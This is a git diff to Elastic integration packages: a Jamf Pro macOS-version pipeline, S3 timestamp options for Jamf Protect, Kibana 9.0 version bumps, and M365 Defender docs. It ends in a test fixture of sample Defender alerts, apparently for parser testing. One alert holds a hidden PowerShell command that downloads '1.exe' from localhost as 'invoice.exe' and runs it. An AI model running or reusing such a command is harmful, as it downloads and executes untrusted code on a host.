+ if: ctx.jamf_pro?.inventory?.operating_system?.version != null && ctx.jamf_pro.inventory.operating_system.version != ''
+ source: |-
+ String normalize(String s) {
+ int n = 0;
+ for (int i = 0; i < s.length(); i++){
+ char c = s.charAt(i);
+ if (c == (char)'.') {
+ n++;
+ continue;
+ }
+ if (c < (char)'0' || (char)'9' < c) {
+ // If we have non-numeric parts, bail.
+ return s;
+ }
+ }
+ if (n >= 2) {
+ return s;
+ }
+ if (n == 1) {
+ return s + ".0";
+ }
+ return s + ".0.0";
+ }
+ String full_name(String s) {
+ if (s.startsWith('15.')) {
+ return 'sequoia';
+ }
+ if (s.startsWith('14.')) {
+ return 'sonoma';
+ }
+ if (s.startsWith('13.')) {
+ return 'ventura';
+ }
+ if (s.startsWith('12.')) {
+ return 'monterey';
+ }
+ if (s.startsWith('11.')) {
+ return 'big sur';
+ }
+ if (s.startsWith('10.15.')) {
+ return 'catalina';
+ }
+ if (s.startsWith('10.14.')) {
+ return 'mojave';
+ }
+ if (s.startsWith('10.13.')) {
+ return 'high sierra';
+ }
+ if (s.startsWith('10.12.')) {
+ return 'sierra';
+ }
+ if (s.startsWith('10.11.')) {
+ return 'el capitan';
+ }
+ if (s.startsWith('10.10.')) {
+ return 'yosemite';
+ }
+ if (s.startsWith('10.9.')) {
+ return 'mavericks';
+ }
+ return '';
+ }
+ ctx.jamf_pro.inventory.operating_system.version = normalize(ctx.jamf_pro.inventory.operating_system.version);
+ String name = full_name(ctx.jamf_pro.inventory.operating_system.version);
+ if (name != '') {
+ if (ctx.os == null) {
+ ctx.os = [:];
+ }
+ ctx.os.full = name;
+ }
- set:
field: os.version
copy_from: jamf_pro.inventory.operating_system.version
@@ -146,6 +219,8 @@ processors:
- append:
field: related.user
value: '{{{user.email}}}'
+ if: ctx.user?.email != null && ctx.user.email != ""
+ allow_duplicates: false
- set:
field: related.ip
copy_from: host.ip
@@ -163,10 +238,12 @@ processors:
field: event.type
value: user
if: ctx.jamf_pro.inventory.user_and_location != null
+ allow_duplicates: false
- append:
field: event.type
value: info
if: ctx.jamf_pro.inventory.hardware != null
+ allow_duplicates: false
##################
# Error handling #
diff --git a/packages/jamf_pro/manifest.yml b/packages/jamf_pro/manifest.yml
index 982087e7c2a..f0a44c85cd9 100644
--- a/packages/jamf_pro/manifest.yml
+++ b/packages/jamf_pro/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.1.5
name: jamf_pro
title: "Jamf Pro"
-version: 0.2.6
+version: "0.5.0"
source:
license: "Elastic-2.0"
description: "Collect logs and inventory data from Jamf Pro with Elastic Agent"
@@ -11,7 +11,7 @@ categories:
- custom
conditions:
kibana:
- version: "^8.13.4"
+ version: "^8.13.4 || ^9.0.0"
elastic:
subscription: "basic"
screenshots:
diff --git a/packages/jamf_protect/data_stream/alerts/agent/stream/aws-s3.yml.hbs b/packages/jamf_protect/data_stream/alerts/agent/stream/aws-s3.yml.hbs
index 664deb76a6b..62a01563a07 100644
--- a/packages/jamf_protect/data_stream/alerts/agent/stream/aws-s3.yml.hbs
+++ b/packages/jamf_protect/data_stream/alerts/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless jamf_protect_bucket_name}}
{{#unless global_bucket_name}}
diff --git a/packages/jamf_protect/data_stream/alerts/manifest.yml b/packages/jamf_protect/data_stream/alerts/manifest.yml
index 3f6a18f7bb6..bb81e9d4561 100644
--- a/packages/jamf_protect/data_stream/alerts/manifest.yml
+++ b/packages/jamf_protect/data_stream/alerts/manifest.yml
@@ -98,6 +98,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: '[SQS] Visibility Timeout'
diff --git a/packages/jamf_protect/data_stream/telemetry/agent/stream/aws-s3.yml.hbs b/packages/jamf_protect/data_stream/telemetry/agent/stream/aws-s3.yml.hbs
index 95ca775c7af..1a5aba4ccab 100644
--- a/packages/jamf_protect/data_stream/telemetry/agent/stream/aws-s3.yml.hbs
+++ b/packages/jamf_protect/data_stream/telemetry/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless jamf_protect_bucket_name}}
{{#unless global_bucket_name}}
diff --git a/packages/jamf_protect/data_stream/telemetry/manifest.yml b/packages/jamf_protect/data_stream/telemetry/manifest.yml
index a64e15eeba0..01b0c73068a 100644
--- a/packages/jamf_protect/data_stream/telemetry/manifest.yml
+++ b/packages/jamf_protect/data_stream/telemetry/manifest.yml
@@ -98,6 +98,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: '[SQS] Visibility Timeout'
diff --git a/packages/jamf_protect/data_stream/telemetry_legacy/agent/stream/aws-s3.yml.hbs b/packages/jamf_protect/data_stream/telemetry_legacy/agent/stream/aws-s3.yml.hbs
index 10fa94ba174..dfcce63ce61 100644
--- a/packages/jamf_protect/data_stream/telemetry_legacy/agent/stream/aws-s3.yml.hbs
+++ b/packages/jamf_protect/data_stream/telemetry_legacy/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless jamf_protect_bucket_name}}
{{#unless global_bucket_name}}
diff --git a/packages/jamf_protect/data_stream/telemetry_legacy/manifest.yml b/packages/jamf_protect/data_stream/telemetry_legacy/manifest.yml
index c9448ea7d1e..f2b2db1307a 100644
--- a/packages/jamf_protect/data_stream/telemetry_legacy/manifest.yml
+++ b/packages/jamf_protect/data_stream/telemetry_legacy/manifest.yml
@@ -98,6 +98,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: '[SQS] Visibility Timeout'
diff --git a/packages/jamf_protect/data_stream/web_threat_events/agent/stream/aws-s3.yml.hbs b/packages/jamf_protect/data_stream/web_threat_events/agent/stream/aws-s3.yml.hbs
index 52878e551e3..143f8e52964 100644
--- a/packages/jamf_protect/data_stream/web_threat_events/agent/stream/aws-s3.yml.hbs
+++ b/packages/jamf_protect/data_stream/web_threat_events/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless jamf_protect_bucket_name}}
{{#unless global_bucket_name}}
diff --git a/packages/jamf_protect/data_stream/web_threat_events/manifest.yml b/packages/jamf_protect/data_stream/web_threat_events/manifest.yml
index df37b36aa51..140a61a43b4 100644
--- a/packages/jamf_protect/data_stream/web_threat_events/manifest.yml
+++ b/packages/jamf_protect/data_stream/web_threat_events/manifest.yml
@@ -107,6 +107,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: '[SQS] Visibility Timeout'
diff --git a/packages/jamf_protect/data_stream/web_traffic_events/agent/stream/aws-s3.yml.hbs b/packages/jamf_protect/data_stream/web_traffic_events/agent/stream/aws-s3.yml.hbs
index 921d634105e..5bef24019cb 100644
--- a/packages/jamf_protect/data_stream/web_traffic_events/agent/stream/aws-s3.yml.hbs
+++ b/packages/jamf_protect/data_stream/web_traffic_events/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless jamf_protect_bucket_name}}
{{#unless global_bucket_name}}
diff --git a/packages/jamf_protect/data_stream/web_traffic_events/manifest.yml b/packages/jamf_protect/data_stream/web_traffic_events/manifest.yml
index 06505547bd6..b3ed2334e6c 100644
--- a/packages/jamf_protect/data_stream/web_traffic_events/manifest.yml
+++ b/packages/jamf_protect/data_stream/web_traffic_events/manifest.yml
@@ -107,6 +107,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: '[SQS] Visibility Timeout'
diff --git a/packages/jumpcloud/changelog.yml b/packages/jumpcloud/changelog.yml
index 38ffb758559..5ee495450c3 100644
--- a/packages/jumpcloud/changelog.yml
+++ b/packages/jumpcloud/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.15.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.14.1"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/jumpcloud/manifest.yml b/packages/jumpcloud/manifest.yml
index 72c34215712..84c1fb7eb66 100644
--- a/packages/jumpcloud/manifest.yml
+++ b/packages/jumpcloud/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: jumpcloud
title: "JumpCloud"
-version: "1.14.1"
+version: "1.15.0"
description: "Collect logs from JumpCloud Directory as a Service"
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: "basic"
screenshots:
diff --git a/packages/keycloak/changelog.yml b/packages/keycloak/changelog.yml
index 71869963c74..378613d69dd 100644
--- a/packages/keycloak/changelog.yml
+++ b/packages/keycloak/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.26.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.25.0"
changes:
- description: Do not remove `event.original` in main ingest pipeline.
diff --git a/packages/keycloak/manifest.yml b/packages/keycloak/manifest.yml
index b7940ccb3f5..e31791cfb15 100644
--- a/packages/keycloak/manifest.yml
+++ b/packages/keycloak/manifest.yml
@@ -1,13 +1,13 @@
name: keycloak
title: Keycloak
-version: "1.25.0"
+version: "1.26.0"
description: Collect logs from Keycloak with Elastic Agent.
type: integration
format_version: "3.0.3"
categories: [security, iam]
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
icons:
- src: /img/keycloak-logo.svg
title: Keycloak
diff --git a/packages/lastpass/changelog.yml b/packages/lastpass/changelog.yml
index 1408b2c6e8b..c835d8080d9 100644
--- a/packages/lastpass/changelog.yml
+++ b/packages/lastpass/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.20.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.19.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/lastpass/manifest.yml b/packages/lastpass/manifest.yml
index 15ffeab4de3..784e0e7ddaa 100644
--- a/packages/lastpass/manifest.yml
+++ b/packages/lastpass/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: lastpass
title: LastPass
-version: "1.19.1"
+version: "1.20.0"
description: Collect logs from LastPass with Elastic Agent.
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- credential_management
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: basic
screenshots:
diff --git a/packages/lmd/changelog.yml b/packages/lmd/changelog.yml
index cbf582cc4c1..55fe51176b6 100644
--- a/packages/lmd/changelog.yml
+++ b/packages/lmd/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.3.0"
+ changes:
+ - description: Add support for Kibana `9.0.0`
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12940
- version: "2.2.0"
changes:
- description: Fix bug in the pivot transform
diff --git a/packages/lmd/elasticsearch/transform/pivot_transform/transform.yml b/packages/lmd/elasticsearch/transform/pivot_transform/transform.yml
index fae8035abf6..b841e063dd5 100644
--- a/packages/lmd/elasticsearch/transform/pivot_transform/transform.yml
+++ b/packages/lmd/elasticsearch/transform/pivot_transform/transform.yml
@@ -73,5 +73,5 @@ sync:
delay: 60s
field: '@timestamp'
_meta:
- fleet_transform_version: 2.2.0
+ fleet_transform_version: 2.3.0
run_as_kibana_system: false
\ No newline at end of file
diff --git a/packages/lmd/manifest.yml b/packages/lmd/manifest.yml
index 9e253d9ad64..bf6b12b9eeb 100644
--- a/packages/lmd/manifest.yml
+++ b/packages/lmd/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.0.0
name: lmd
title: "Lateral Movement Detection"
-version: 2.2.0
+version: 2.3.0
source:
license: "Elastic-2.0"
description: "ML package to detect lateral movement based on file transfer activity and Windows RDP events."
@@ -11,7 +11,7 @@ categories:
- advanced_analytics_ueba
conditions:
kibana:
- version: "^8.9.0"
+ version: "^8.9.0 || ^9.0.0"
elastic:
subscription: platinum
capabilities:
diff --git a/packages/lumos/changelog.yml b/packages/lumos/changelog.yml
index 2a373bae791..3f2c31610c5 100644
--- a/packages/lumos/changelog.yml
+++ b/packages/lumos/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.5.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.4.1"
changes:
- description: Fix broken links in Security Service integrations packages.
diff --git a/packages/lumos/manifest.yml b/packages/lumos/manifest.yml
index 8a769e2d864..aaafd215ebe 100644
--- a/packages/lumos/manifest.yml
+++ b/packages/lumos/manifest.yml
@@ -1,14 +1,14 @@
format_version: 3.1.2
name: lumos
title: "Lumos"
-version: "1.4.1"
+version: "1.5.0"
description: "An integration with Lumos to ship your Activity logs to your Elastic instance."
type: integration
categories:
- security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: "basic"
screenshots:
diff --git a/packages/lyve_cloud/changelog.yml b/packages/lyve_cloud/changelog.yml
index e57b70f89ed..c8b2f212b5f 100644
--- a/packages/lyve_cloud/changelog.yml
+++ b/packages/lyve_cloud/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.17.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.16.0"
changes:
- description: Do not remove `event.original` in main ingest pipeline.
diff --git a/packages/lyve_cloud/manifest.yml b/packages/lyve_cloud/manifest.yml
index ef271474eba..485c33fb3fa 100644
--- a/packages/lyve_cloud/manifest.yml
+++ b/packages/lyve_cloud/manifest.yml
@@ -1,14 +1,14 @@
format_version: "3.0.2"
name: lyve_cloud
title: Lyve Cloud
-version: "1.16.0"
+version: "1.17.0"
description: Collect S3 API audit log from Lyve Cloud with Elastic Agent.
type: integration
categories:
- security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
icons:
- src: /img/LyveCloud-Logo.svg
title: Seagate-Lyve-Cloud
diff --git a/packages/m365_defender/_dev/build/docs/README.md b/packages/m365_defender/_dev/build/docs/README.md
index 02da6f76542..925d5a6beb2 100644
--- a/packages/m365_defender/_dev/build/docs/README.md
+++ b/packages/m365_defender/_dev/build/docs/README.md
@@ -8,6 +8,11 @@ Use the Microsoft 365 Defender integration to collect and parse data from the Mi
For example, you could use the data from this integration to consolidate and correlate security alerts from multiple sources. Also, by looking into the alert and incident, a user can take an appropriate action in the Microsoft 365 Defender Portal.
+## Agentless Enabled Integration
+Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html).
+
+Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features.
+
## Data streams
The Microsoft 365 Defender integration collects logs for four types of events: Alert, Event, Incident and Log.
diff --git a/packages/m365_defender/changelog.yml b/packages/m365_defender/changelog.yml
index f354a48dafd..80e0612be7e 100644
--- a/packages/m365_defender/changelog.yml
+++ b/packages/m365_defender/changelog.yml
@@ -1,4 +1,14 @@
# newer versions go on top
+- version: "2.24.0"
+ changes:
+ - description: Enable Agentless deployment.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12891
+- version: "2.23.0"
+ changes:
+ - description: Add email ECS fields to alert data stream.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12888
- version: "2.22.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/m365_defender/data_stream/alert/_dev/test/pipeline/test-alert.log b/packages/m365_defender/data_stream/alert/_dev/test/pipeline/test-alert.log
index ef677ce0362..cc1c1c82540 100644
--- a/packages/m365_defender/data_stream/alert/_dev/test/pipeline/test-alert.log
+++ b/packages/m365_defender/data_stream/alert/_dev/test/pipeline/test-alert.log
@@ -1,2 +1,3 @@
{"id":"daefa1828b-dd4e-405c-8a3b-aa28596830dd_1","providerAlertId":"efa1828b-dd4e-405c-8a3b-aa28596830dd_1","incidentId":"23","status":"new","severity":"medium","classification":null,"determination":null,"serviceSource":"microsoftDefenderForEndpoint","detectionSource":"microsoftDefenderForEndpoint","productName":"Microsoft Defender for Endpoint","detectorId":"7f1c3609-a3ff-40e2-995b-c01770161d68","tenantId":"3adb963c-8e61-48e8-a06d-6dbb0dacea39","title":"Suspicious PowerShell command line","description":"A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.","recommendedActions":"1. Examine the PowerShell command line to understand what commands were executed. Note: the content may need to be decoded if it is Base64-encoded.\n2. Search the script for more indicators to investigate - for example IP addresses (potential C&C servers), target computers etc.\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert.\n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.","category":"Execution","assignedTo":null,"alertWebUrl":"https:\/\/security.microsoft.com\/alerts\/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39","incidentWebUrl":"https:\/\/security.microsoft.com\/incidents\/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39","actorDisplayName":null,"threatDisplayName":null,"threatFamilyName":null,"mitreTechniques":["T1059.001"],"createdDateTime":"2023-10-20T09:53:09.8839373Z","lastUpdateDateTime":"2023-10-20T09:54:07.5033333Z","resolvedDateTime":null,"firstActivityDateTime":"2023-10-20T09:51:39.5154802Z","lastActivityDateTime":"2023-10-20T09:51:41.9939003Z","alertPolicyId":null,"additionalData":null,"comments":[],"evidence":[{"@odata.type":"#microsoft.graph.security.deviceEvidence","createdDateTime":"2023-10-20T09:53:10.1933333Z","verdict":"unknown","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":["PrimaryDevice"],"tags":[],"firstSeenDateTime":"2023-10-20T09:50:17.7383987Z","mdeDeviceId":"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843","azureAdDeviceId":"f18bd540-d5e4-46e0-8ddd-3d03a59e4e14","deviceDnsName":"clw555test","osPlatform":"Windows11","osBuild":22621,"version":"22H2","healthStatus":"inactive","riskScore":"high","rbacGroupId":0,"rbacGroupName":null,"onboardingStatus":"onboarded","defenderAvStatus":"notSupported","ipInterfaces":["192.168.5.65","fe80::cfe4:80b:615c:38fb","127.0.0.1","::1"],"vmMetadata":null,"loggedOnUsers":[{"accountName":"CDPUserIS-38411","domainName":"AzureAD"}]},{"@odata.type":"#microsoft.graph.security.userEvidence","createdDateTime":"2023-10-20T09:53:10.1933333Z","verdict":"unknown","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"userAccount":{"accountName":"CDPUserIS-38411","domainName":"AzureAD","userSid":"S-1-12-1-1485667349-1150190949-4065799612-2328216759","azureAdUserId":null,"userPrincipalName":null,"displayName":null}},{"@odata.type":"#microsoft.graph.security.urlEvidence","createdDateTime":"2023-10-20T09:53:10.1933333Z","verdict":"suspicious","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"url":"http:\/\/127.0.0.1\/1.exe"},{"@odata.type":"#microsoft.graph.security.ipEvidence","createdDateTime":"2023-10-20T09:53:10.1933333Z","verdict":"suspicious","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"ipAddress":"127.0.0.1","countryLetterCode":null},{"@odata.type":"#microsoft.graph.security.processEvidence","createdDateTime":"2023-10-20T09:53:10.1933333Z","verdict":"unknown","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"processId":8224,"parentProcessId":5772,"processCommandLine":"powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http:\/\/127.0.0.1\/1.exe', 'C:\\\\test-WDATP-test\\\\invoice.exe');Start-Process 'C:\\\\test-WDATP-test\\\\invoice.exe'","processCreationDateTime":"2023-10-20T09:51:39.4997961Z","parentProcessCreationDateTime":"2023-10-20T09:51:19.5064237Z","detectionStatus":"detected","mdeDeviceId":"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843","imageFile":{"sha1":"a72c41316307889e43fe8605a0dca4a72e72a011","sha256":"d783ba6567faf10fdff2d0ea3864f6756862d6c733c7f4467283da81aedc3a80","fileName":"powershell.exe","filePath":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0","fileSize":491520,"filePublisher":"Microsoft Corporation","signer":null,"issuer":null},"parentProcessImageFile":{"sha1":null,"sha256":null,"fileName":"cmd.exe","filePath":"C:\\Windows\\System32","fileSize":323584,"filePublisher":"Microsoft Corporation","signer":null,"issuer":null},"userAccount":{"accountName":"CDPUserIS-38411","domainName":"AzureAD","userSid":"S-1-12-1-1485667349-1150190949-4065799612-2328216759","azureAdUserId":null,"userPrincipalName":null,"displayName":null}}]}
+{"id":"daefa1828b-dd4e-405c-8a3b-aa28596830dd_2","providerAlertId":"efa1828b-dd4e-405c-8a3b-aa28596830dd_2","incidentId":"33","status":"new","severity":"medium","classification":null,"determination":null,"serviceSource":"microsoftDefenderForEndpoint","detectionSource":"microsoftDefenderForEndpoint","productName":"Microsoft Defender for Endpoint","detectorId":"7f1c3609-a3ff-40e2-995b-c01770161d68","tenantId":"3adb963c-8e61-48e8-a06d-6dbb0dacea39","title":"Suspicious PowerShell command line","description":"A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.","recommendedActions":"1. Examine the PowerShell command line to understand what commands were executed. Note: the content may need to be decoded if it is Base64-encoded.\n2. Search the script for more indicators to investigate - for example IP addresses (potential C&C servers), target computers etc.\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert.\n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.","category":"Execution","assignedTo":null,"alertWebUrl":"https:\/\/security.microsoft.com\/alerts\/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39","incidentWebUrl":"https:\/\/security.microsoft.com\/incidents\/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39","actorDisplayName":null,"threatDisplayName":null,"threatFamilyName":null,"mitreTechniques":["T1059.001"],"createdDateTime":"2024-10-20T09:53:09.8839373Z","lastUpdateDateTime":"2024-10-20T09:54:07.5033333Z","resolvedDateTime":null,"firstActivityDateTime":"2024-10-20T09:51:39.5154802Z","lastActivityDateTime":"2024-10-20T09:51:41.9939003Z","alertPolicyId":null,"additionalData":null,"comments":[],"evidence":[{"internetMessageId":"81ce15$8r2j59@mail01.example.com","networkMessageId":"c26dbea0-80d5-463b-b93c-4e8b708219ce","senderIp": "81.2.69.142","@odata.type":"#microsoft.graph.security.deviceEvidence","createdDateTime":"2024-10-20T09:53:10.1933333Z","verdict":"unknown","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":["PrimaryDevice"],"tags":[],"firstSeenDateTime":"2024-10-20T09:50:17.7383987Z","mdeDeviceId":"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843","azureAdDeviceId":"f18bd540-d5e4-46e0-8ddd-3d03a59e4e14","deviceDnsName":"clw555test","osPlatform":"Windows11","osBuild":22621,"version":"22H2","healthStatus":"inactive","riskScore":"high","rbacGroupId":0,"rbacGroupName":null,"onboardingStatus":"onboarded","defenderAvStatus":"notSupported","ipInterfaces":["192.168.5.65","fe80::cfe4:80b:615c:38fb","127.0.0.1","::1"],"vmMetadata":null,"loggedOnUsers":[{"accountName":"CDPUserIS-38411","domainName":"AzureAD"}]},{"@odata.type":"#microsoft.graph.security.userEvidence","createdDateTime":"2024-10-20T09:53:10.1933333Z","verdict":"unknown","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"userAccount":{"accountName":"CDPUserIS-38411","domainName":"AzureAD","userSid":"S-1-12-1-1485667349-1150190949-4065799612-2328216759","azureAdUserId":null,"userPrincipalName":null,"displayName":null}},{"@odata.type":"#microsoft.graph.security.urlEvidence","createdDateT